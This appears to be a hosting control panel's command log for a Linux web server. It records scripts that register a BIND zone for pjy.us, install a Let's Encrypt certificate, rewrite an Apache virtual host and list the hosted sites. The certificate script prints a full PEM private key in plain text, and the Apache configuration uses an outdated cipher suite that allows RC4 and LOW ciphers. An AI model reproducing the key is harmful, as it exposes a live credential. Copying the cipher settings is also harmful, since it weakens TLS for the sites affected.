MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-27 06:00:08: 

PUT: /tmp/pkp199595

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-10-27 06:00:08: 

chmod 755 /tmp/pkp199595; /tmp/pkp199595; rm /tmp/pkp199595

2025-10-27 06:00:11: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-10-27 06:00:11: 

PUT: /tmp/pkp425397

#!/bin/bash
rndc reload pjy.us 2>&1


2025-10-27 06:00:11: 

chmod 755 /tmp/pkp425397; /tmp/pkp425397; rm /tmp/pkp425397

2025-10-27 06:00:11: 


zone reload up-to-date


2025-10-27 06:00:23: Establishing a connection
2025-10-27 06:00:23: 

PUT: /tmp/pkp359016

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb.crt

cat > $temp_file <<'endmsg'
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-27 06:00:23: 

chmod 755 /tmp/pkp359016; /tmp/pkp359016; rm /tmp/pkp359016

2025-10-27 06:00:23: 


dir=/etc/ssl/certs


2025-10-27 06:00:23: 

PUT: /tmp/pkp203568

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-27 06:00:23: 

chmod 755 /tmp/pkp203568; /tmp/pkp203568; rm /tmp/pkp203568

2025-10-27 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 34

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-27 06:00:23: 

PUT: /tmp/pkp844821

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_www_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf= 1'
fi


2025-10-27 06:00:23: 

chmod 755 /tmp/pkp844821; /tmp/pkp844821; rm /tmp/pkp844821

2025-10-27 06:00:23: 




2025-10-27 06:00:23: 

PUT: /tmp/pkp886605

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-27 06:00:23: 

chmod 755 /tmp/pkp886605; /tmp/pkp886605; rm /tmp/pkp886605

2025-10-27 06:00:23: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-27 06:00:23: Establishing a connection
2025-10-27 06:00:23: 

PUT: /tmp/pkp839772

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-27 06:00:24: 

chmod 755 /tmp/pkp839772; /tmp/pkp839772; rm /tmp/pkp839772

2025-10-27 06:00:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
